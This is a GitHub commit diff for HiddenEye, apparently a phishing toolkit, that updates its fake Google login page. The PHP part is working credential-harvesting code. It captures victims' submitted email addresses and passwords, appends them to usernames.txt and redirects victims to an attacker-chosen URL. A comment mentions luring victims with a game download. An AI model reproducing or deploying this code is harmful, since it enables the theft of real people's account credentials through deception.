updated old google standard page to new one (#119)

* Add files via upload

* Delete index.html

* Add files via upload

* Update HiddenEye.py
This commit is contained in:
Usama Abdul Sattar 2018-10-28 20:21:52 +05:00 committed by GitHub
parent 9f3d1bb89b
commit 546b2cf195
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 3814 additions and 2086 deletions

View File

@ -308,10 +308,10 @@ if __name__ == "__main__":
def custom(): #Question where user can input custom web-link
print("\n {0}Insert a custom redirect url:".format(CYAN, DEFAULT))
custom = input("\n{0}[HIDDENEYE-DARKSEC]- > {1}".format(CYAN, DEFAULT))
if 'http://' or 'https://' in custom:
if 'https://' in custom:
pass
else:
custom = 'http://' + custom
custom = 'https://' + custom
if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'):
with open('Server/www/login.php') as f:
read_data = f.read()

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1,6 +1,22 @@
<?php
include 'ip.php';
file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['Email'] . " [PASS]: " . $_POST['Passwd'] . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();
session_start();
$pass = $_POST["password"];
$email=$_SESSION["Email"];
//opening logins text file for appending new data.
$file = fopen("usernames.txt", "a") or die("Unable to open file!");
//Writing email and password to logins.txt.
fwrite($file, "[EMAIL: ]" . " ". $email . " " . " " . "[PASS: ]" . " " . $pass .FILE_APPEND);
fclose($file);//closing logins.txt.
//redirecting user to the google drive's locations where the game is available to download.
//change the location url to redirect to a website of your choice.
header('Location: <CUSTOM>');
exit();
session_destroy();
?>